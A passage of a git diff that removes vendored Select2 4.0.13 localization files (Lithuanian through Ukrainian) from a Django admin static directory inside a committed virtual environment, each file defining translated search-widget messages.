n=jQuery.fn.select2.amd;n.define("select2/i18n/lt",[],function(){function n(n,e,i,t){return n%10==1&&(n%100<11||n%100>19)?e:n%10>=2&&n%10<=9&&(n%100<11||n%100>19)?i:t}return{inputTooLong:function(e){var i=e.input.length-e.maximum,t="Pašalinkite "+i+" simbol";return t+=n(i,"į","ius","ių")},inputTooShort:function(e){var i=e.minimum-e.input.length,t="Įrašykite dar "+i+" simbol";return t+=n(i,"į","ius","ių")},loadingMore:function(){return"Kraunama daugiau rezultatų…"},maximumSelected:function(e){var i="Jūs galite pasirinkti tik "+e.maximum+" element";return i+=n(e.maximum,"ą","us","ų")},noResults:function(){return"Atitikmenų nerasta"},searching:function(){return"Ieškoma…"},removeAllItems:function(){return"Pašalinti visus elementus"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/lv.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/lv.js deleted file mode 100644 index 806dc5c4..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/lv.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/lv",[],function(){function e(e,n,u,i){return 11===e?n:e%10==1?u:i}return{inputTooLong:function(n){var u=n.input.length-n.maximum,i="Lūdzu ievadiet par "+u;return(i+=" simbol"+e(u,"iem","u","iem"))+" mazāk"},inputTooShort:function(n){var u=n.minimum-n.input.length,i="Lūdzu ievadiet vēl "+u;return i+=" simbol"+e(u,"us","u","us")},loadingMore:function(){return"Datu ielāde…"},maximumSelected:function(n){var u="Jūs varat izvēlēties ne vairāk kā "+n.maximum;return u+=" element"+e(n.maximum,"us","u","us")},noResults:function(){return"Sakritību nav"},searching:function(){return"Meklēšana…"},removeAllItems:function(){return"Noņemt visus vienumus"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/mk.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/mk.js deleted file mode 100644 index cb7b84a2..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/mk.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/mk",[],function(){return{inputTooLong:function(n){var e=(n.input.length,n.maximum,"Ве молиме внесете "+n.maximum+" помалку карактер");return 1!==n.maximum&&(e+="и"),e},inputTooShort:function(n){var e=(n.minimum,n.input.length,"Ве молиме внесете уште "+n.maximum+" карактер");return 1!==n.maximum&&(e+="и"),e},loadingMore:function(){return"Вчитување резултати…"},maximumSelected:function(n){var e="Можете да изберете само "+n.maximum+" ставк";return 1===n.maximum?e+="а":e+="и",e},noResults:function(){return"Нема пронајдено совпаѓања"},searching:function(){return"Пребарување…"},removeAllItems:function(){return"Отстрани ги сите предмети"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ms.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ms.js deleted file mode 100644 index 6bd7eaa3..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ms.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ms",[],function(){return{errorLoading:function(){return"Keputusan tidak berjaya dimuatkan."},inputTooLong:function(n){return"Sila hapuskan "+(n.input.length-n.maximum)+" aksara"},inputTooShort:function(n){return"Sila masukkan "+(n.minimum-n.input.length)+" atau lebih aksara"},loadingMore:function(){return"Sedang memuatkan keputusan…"},maximumSelected:function(n){return"Anda hanya boleh memilih "+n.maximum+" pilihan"},noResults:function(){return"Tiada padanan yang ditemui"},searching:function(){return"Mencari…"},removeAllItems:function(){return"Keluarkan semua item"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/nb.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/nb.js deleted file mode 100644 index 25d89c68..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/nb.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/nb",[],function(){return{errorLoading:function(){return"Kunne ikke hente resultater."},inputTooLong:function(e){return"Vennligst fjern "+(e.input.length-e.maximum)+" tegn"},inputTooShort:function(e){return"Vennligst skriv inn "+(e.minimum-e.input.length)+" tegn til"},loadingMore:function(){return"Laster flere resultater…"},maximumSelected:function(e){return"Du kan velge maks "+e.maximum+" elementer"},noResults:function(){return"Ingen treff"},searching:function(){return"Søker…"},removeAllItems:function(){return"Fjern alle elementer"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ne.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ne.js deleted file mode 100644 index 1c39f672..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ne.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ne",[],function(){return{errorLoading:function(){return"नतिजाहरु देखाउन सकिएन।"},inputTooLong:function(n){var e=n.input.length-n.maximum,u="कृपया "+e+" अक्षर मेटाउनुहोस्।";return 1!=e&&(u+="कृपया "+e+" अक्षरहरु मेटाउनुहोस्।"),u},inputTooShort:function(n){return"कृपया बाँकी रहेका "+(n.minimum-n.input.length)+" वा अरु धेरै अक्षरहरु भर्नुहोस्।"},loadingMore:function(){return"अरु नतिजाहरु भरिँदैछन् …"},maximumSelected:function(n){var e="तँपाई "+n.maximum+" वस्तु मात्र छान्न पाउँनुहुन्छ।";return 1!=n.maximum&&(e="तँपाई "+n.maximum+" वस्तुहरु मात्र छान्न पाउँनुहुन्छ।"),e},noResults:function(){return"कुनै पनि नतिजा भेटिएन।"},searching:function(){return"खोजि हुँदैछ…"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/nl.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/nl.js deleted file mode 100644 index 2b74058d..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/nl.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/nl",[],function(){return{errorLoading:function(){return"De resultaten konden niet worden geladen."},inputTooLong:function(e){return"Gelieve "+(e.input.length-e.maximum)+" karakters te verwijderen"},inputTooShort:function(e){return"Gelieve "+(e.minimum-e.input.length)+" of meer karakters in te voeren"},loadingMore:function(){return"Meer resultaten laden…"},maximumSelected:function(e){var n=1==e.maximum?"kan":"kunnen",r="Er "+n+" maar "+e.maximum+" item";return 1!=e.maximum&&(r+="s"),r+=" worden geselecteerd"},noResults:function(){return"Geen resultaten gevonden…"},searching:function(){return"Zoeken…"},removeAllItems:function(){return"Verwijder alle items"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/pl.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/pl.js deleted file mode 100644 index 4ca5748c..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/pl.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/pl",[],function(){var n=["znak","znaki","znaków"],e=["element","elementy","elementów"],r=function(n,e){return 1===n?e[0]:n>1&&n<=4?e[1]:n>=5?e[2]:void 0};return{errorLoading:function(){return"Nie można załadować wyników."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Usuń "+t+" "+r(t,n)},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Podaj przynajmniej "+t+" "+r(t,n)},loadingMore:function(){return"Trwa ładowanie…"},maximumSelected:function(n){return"Możesz zaznaczyć tylko "+n.maximum+" "+r(n.maximum,e)},noResults:function(){return"Brak wyników"},searching:function(){return"Trwa wyszukiwanie…"},removeAllItems:function(){return"Usuń wszystkie przedmioty"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ps.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ps.js deleted file mode 100644 index 9b008e4c..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ps.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ps",[],function(){return{errorLoading:function(){return"پايلي نه سي ترلاسه کېدای"},inputTooLong:function(n){var e=n.input.length-n.maximum,r="د مهربانۍ لمخي "+e+" توری ړنګ کړئ";return 1!=e&&(r=r.replace("توری","توري")),r},inputTooShort:function(n){return"لږ تر لږه "+(n.minimum-n.input.length)+" يا ډېر توري وليکئ"},loadingMore:function(){return"نوري پايلي ترلاسه کيږي..."},maximumSelected:function(n){var e="تاسو يوازي "+n.maximum+" قلم په نښه کولای سی";return 1!=n.maximum&&(e=e.replace("قلم","قلمونه")),e},noResults:function(){return"پايلي و نه موندل سوې"},searching:function(){return"لټول کيږي..."},removeAllItems:function(){return"ټول توکي لرې کړئ"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/pt-BR.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/pt-BR.js deleted file mode 100644 index c991e255..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/pt-BR.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/pt-BR",[],function(){return{errorLoading:function(){return"Os resultados não puderam ser carregados."},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Apague "+n+" caracter";return 1!=n&&(r+="es"),r},inputTooShort:function(e){return"Digite "+(e.minimum-e.input.length)+" ou mais caracteres"},loadingMore:function(){return"Carregando mais resultados…"},maximumSelected:function(e){var n="Você só pode selecionar "+e.maximum+" ite";return 1==e.maximum?n+="m":n+="ns",n},noResults:function(){return"Nenhum resultado encontrado"},searching:function(){return"Buscando…"},removeAllItems:function(){return"Remover todos os itens"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/pt.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/pt.js deleted file mode 100644 index b5da1a6b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/pt.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/pt",[],function(){return{errorLoading:function(){return"Os resultados não puderam ser carregados."},inputTooLong:function(e){var r=e.input.length-e.maximum,n="Por favor apague "+r+" ";return n+=1!=r?"caracteres":"caractere"},inputTooShort:function(e){return"Introduza "+(e.minimum-e.input.length)+" ou mais caracteres"},loadingMore:function(){return"A carregar mais resultados…"},maximumSelected:function(e){var r="Apenas pode seleccionar "+e.maximum+" ";return r+=1!=e.maximum?"itens":"item"},noResults:function(){return"Sem resultados"},searching:function(){return"A procurar…"},removeAllItems:function(){return"Remover todos os itens"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ro.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ro.js deleted file mode 100644 index 1ba7b40b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ro.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/ro",[],function(){return{errorLoading:function(){return"Rezultatele nu au putut fi incărcate."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vă rugăm să ștergeți"+t+" caracter";return 1!==t&&(n+="e"),n},inputTooShort:function(e){return"Vă rugăm să introduceți "+(e.minimum-e.input.length)+" sau mai multe caractere"},loadingMore:function(){return"Se încarcă mai multe rezultate…"},maximumSelected:function(e){var t="Aveți voie să selectați cel mult "+e.maximum;return t+=" element",1!==e.maximum&&(t+="e"),t},noResults:function(){return"Nu au fost găsite rezultate"},searching:function(){return"Căutare…"},removeAllItems:function(){return"Eliminați toate elementele"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ru.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ru.js deleted file mode 100644 index 63a7d66c..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/ru.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ru",[],function(){function n(n,e,r,u){return n%10<5&&n%10>0&&n%100<5||n%100>20?n%10>1?r:e:u}return{errorLoading:function(){return"Невозможно загрузить результаты"},inputTooLong:function(e){var r=e.input.length-e.maximum,u="Пожалуйста, введите на "+r+" символ";return u+=n(r,"","a","ов"),u+=" меньше"},inputTooShort:function(e){var r=e.minimum-e.input.length,u="Пожалуйста, введите ещё хотя бы "+r+" символ";return u+=n(r,"","a","ов")},loadingMore:function(){return"Загрузка данных…"},maximumSelected:function(e){var r="Вы можете выбрать не более "+e.maximum+" элемент";return r+=n(e.maximum,"","a","ов")},noResults:function(){return"Совпадений не найдено"},searching:function(){return"Поиск…"},removeAllItems:function(){return"Удалить все элементы"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sk.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sk.js deleted file mode 100644 index 5049528a..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sk.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/sk",[],function(){var e={2:function(e){return e?"dva":"dve"},3:function(){return"tri"},4:function(){return"štyri"}};return{errorLoading:function(){return"Výsledky sa nepodarilo načítať."},inputTooLong:function(n){var t=n.input.length-n.maximum;return 1==t?"Prosím, zadajte o jeden znak menej":t>=2&&t<=4?"Prosím, zadajte o "+e[t](!0)+" znaky menej":"Prosím, zadajte o "+t+" znakov menej"},inputTooShort:function(n){var t=n.minimum-n.input.length;return 1==t?"Prosím, zadajte ešte jeden znak":t<=4?"Prosím, zadajte ešte ďalšie "+e[t](!0)+" znaky":"Prosím, zadajte ešte ďalších "+t+" znakov"},loadingMore:function(){return"Načítanie ďalších výsledkov…"},maximumSelected:function(n){return 1==n.maximum?"Môžete zvoliť len jednu položku":n.maximum>=2&&n.maximum<=4?"Môžete zvoliť najviac "+e[n.maximum](!1)+" položky":"Môžete zvoliť najviac "+n.maximum+" položiek"},noResults:function(){return"Nenašli sa žiadne položky"},searching:function(){return"Vyhľadávanie…"},removeAllItems:function(){return"Odstráňte všetky položky"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sl.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sl.js deleted file mode 100644 index 4d0b7d3e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sl.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/sl",[],function(){return{errorLoading:function(){return"Zadetkov iskanja ni bilo mogoče naložiti."},inputTooLong:function(e){var n=e.input.length-e.maximum,t="Prosim zbrišite "+n+" znak";return 2==n?t+="a":1!=n&&(t+="e"),t},inputTooShort:function(e){var n=e.minimum-e.input.length,t="Prosim vpišite še "+n+" znak";return 2==n?t+="a":1!=n&&(t+="e"),t},loadingMore:function(){return"Nalagam več zadetkov…"},maximumSelected:function(e){var n="Označite lahko največ "+e.maximum+" predmet";return 2==e.maximum?n+="a":1!=e.maximum&&(n+="e"),n},noResults:function(){return"Ni zadetkov."},searching:function(){return"Iščem…"},removeAllItems:function(){return"Odstranite vse elemente"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sq.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sq.js deleted file mode 100644 index 59162024..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sq.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/sq",[],function(){return{errorLoading:function(){return"Rezultatet nuk mund të ngarkoheshin."},inputTooLong:function(e){var n=e.input.length-e.maximum,t="Të lutem fshi "+n+" karakter";return 1!=n&&(t+="e"),t},inputTooShort:function(e){return"Të lutem shkruaj "+(e.minimum-e.input.length)+" ose më shumë karaktere"},loadingMore:function(){return"Duke ngarkuar më shumë rezultate…"},maximumSelected:function(e){var n="Mund të zgjedhësh vetëm "+e.maximum+" element";return 1!=e.maximum&&(n+="e"),n},noResults:function(){return"Nuk u gjet asnjë rezultat"},searching:function(){return"Duke kërkuar…"},removeAllItems:function(){return"Hiq të gjitha sendet"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sr-Cyrl.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sr-Cyrl.js deleted file mode 100644 index ce13ce8f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sr-Cyrl.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/sr-Cyrl",[],function(){function n(n,e,r,u){return n%10==1&&n%100!=11?e:n%10>=2&&n%10<=4&&(n%100<12||n%100>14)?r:u}return{errorLoading:function(){return"Преузимање није успело."},inputTooLong:function(e){var r=e.input.length-e.maximum,u="Обришите "+r+" симбол";return u+=n(r,"","а","а")},inputTooShort:function(e){var r=e.minimum-e.input.length,u="Укуцајте бар још "+r+" симбол";return u+=n(r,"","а","а")},loadingMore:function(){return"Преузимање још резултата…"},maximumSelected:function(e){var r="Можете изабрати само "+e.maximum+" ставк";return r+=n(e.maximum,"у","е","и")},noResults:function(){return"Ништа није пронађено"},searching:function(){return"Претрага…"},removeAllItems:function(){return"Уклоните све ставке"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sr.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sr.js deleted file mode 100644 index dd407a06..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sr.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/sr",[],function(){function n(n,e,r,t){return n%10==1&&n%100!=11?e:n%10>=2&&n%10<=4&&(n%100<12||n%100>14)?r:t}return{errorLoading:function(){return"Preuzimanje nije uspelo."},inputTooLong:function(e){var r=e.input.length-e.maximum,t="Obrišite "+r+" simbol";return t+=n(r,"","a","a")},inputTooShort:function(e){var r=e.minimum-e.input.length,t="Ukucajte bar još "+r+" simbol";return t+=n(r,"","a","a")},loadingMore:function(){return"Preuzimanje još rezultata…"},maximumSelected:function(e){var r="Možete izabrati samo "+e.maximum+" stavk";return r+=n(e.maximum,"u","e","i")},noResults:function(){return"Ništa nije pronađeno"},searching:function(){return"Pretraga…"},removeAllItems:function(){return"Уклоните све ставке"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sv.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sv.js deleted file mode 100644 index 1bc8724a..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/sv.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/sv",[],function(){return{errorLoading:function(){return"Resultat kunde inte laddas."},inputTooLong:function(n){return"Vänligen sudda ut "+(n.input.length-n.maximum)+" tecken"},inputTooShort:function(n){return"Vänligen skriv in "+(n.minimum-n.input.length)+" eller fler tecken"},loadingMore:function(){return"Laddar fler resultat…"},maximumSelected:function(n){return"Du kan max välja "+n.maximum+" element"},noResults:function(){return"Inga träffar"},searching:function(){return"Söker…"},removeAllItems:function(){return"Ta bort alla objekt"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/th.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/th.js deleted file mode 100644 index 63eab711..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/th.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/th",[],function(){return{errorLoading:function(){return"ไม่สามารถค้นข้อมูลได้"},inputTooLong:function(n){return"โปรดลบออก "+(n.input.length-n.maximum)+" ตัวอักษร"},inputTooShort:function(n){return"โปรดพิมพ์เพิ่มอีก "+(n.minimum-n.input.length)+" ตัวอักษร"},loadingMore:function(){return"กำลังค้นข้อมูลเพิ่ม…"},maximumSelected:function(n){return"คุณสามารถเลือกได้ไม่เกิน "+n.maximum+" รายการ"},noResults:function(){return"ไม่พบข้อมูล"},searching:function(){return"กำลังค้นข้อมูล…"},removeAllItems:function(){return"ลบรายการทั้งหมด"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/tk.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/tk.js deleted file mode 100644 index 30255ff3..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/tk.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/tk",[],function(){return{errorLoading:function(){return"Netije ýüklenmedi."},inputTooLong:function(e){return e.input.length-e.maximum+" harp bozuň."},inputTooShort:function(e){return"Ýene-de iň az "+(e.minimum-e.input.length)+" harp ýazyň."},loadingMore:function(){return"Köpräk netije görkezilýär…"},maximumSelected:function(e){return"Diňe "+e.maximum+" sanysyny saýlaň."},noResults:function(){return"Netije tapylmady."},searching:function(){return"Gözlenýär…"},removeAllItems:function(){return"Remove all items"}}}),e.define,e.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/tr.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/tr.js deleted file mode 100644 index fc4c0bf0..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/tr.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/tr",[],function(){return{errorLoading:function(){return"Sonuç yüklenemedi"},inputTooLong:function(n){return n.input.length-n.maximum+" karakter daha girmelisiniz"},inputTooShort:function(n){return"En az "+(n.minimum-n.input.length)+" karakter daha girmelisiniz"},loadingMore:function(){return"Daha fazla…"},maximumSelected:function(n){return"Sadece "+n.maximum+" seçim yapabilirsiniz"},noResults:function(){return"Sonuç bulunamadı"},searching:function(){return"Aranıyor…"},removeAllItems:function(){return"Tüm öğeleri kaldır"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/uk.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/uk.js deleted file mode 100644 index 63697e38..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/uk.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ - -!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/uk",[],function(){function n(n,e,u,r){return n%100>10&&n%100<15?r:n%10==1?e:n%10>1&&n%10<5?u:r}return{errorLoading:function(){return"Неможливо завантажити результати"},inputTooLong:function(e){return"Будь ласка, видаліть "+(e.input.length-e.maximum)+" "+n(e.maximum,"літеру","літери","літер")},inputTooShort:function(n){return"Будь ласка, введіть "+(n.minimum-n.input.length)+" або більше літер"},loadingMore:function(){return"Завантаження інших результатів…"},maximumSelected:function(e){return"Ви можете вибрати лише "+e.maximum+" "+n(e.maximum,"пункт","пункти","пунктів")},noResults:function(){return"Нічого не знайдено"},searching:function(){return"Пошук…"},removeAllItems:function(){return"Видалити всі елементи"}}}),n.define,n.require}(); \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/vi.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/i18n/vi.js deleted file mode 100644 index 24f3bc2d..00000000 